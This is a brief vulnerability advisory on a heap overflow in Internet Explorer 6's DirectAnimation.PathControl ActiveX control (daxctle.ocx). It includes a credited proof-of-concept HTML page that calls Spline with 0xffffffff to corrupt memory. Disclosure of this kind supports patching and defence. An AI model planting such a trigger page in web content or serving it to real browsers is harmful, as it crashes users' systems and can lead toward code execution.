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Microsoft Internet Explorer daxctle.ocx Heap Overflow
------------------------------------------------------------------------
SUMMARY
Microsoft Internet Explorer is vulnerable to an heap overflow attack when
it handles a DirectAnimation.PathControl COM object.
DETAILS
Vulnerable Systems:
* Windows 2000/XP/2003 Internet Explorer 6.0 SP1
When Internet Explorer handle DirectAnimation.PathControl COM
object(daxctle.ocx) \ Spline method, Set the first parameter to 0xffffffff
will triggers an invalid memory \ write, That an attacker may DoS and
possibly could execute arbitrary code.
Exploit:
<!--
// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1
// http://www.xsec.org
// nop (nop#xsec.org)
// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:\WINNT\system32\daxctle.ocx
--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>
var target = new ActiveXObject("DirectAnimation.PathControl");
target.Spline(0xffffffff, 1);
</script>
</body>
</html>
ADDITIONAL INFORMATION
The information has been provided by <mailto:nop@xsec.org> nop.
The original article can be found at:
<http://www.xsec.org/index.php?module=releases&act=view&type=1&id=19>
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=19
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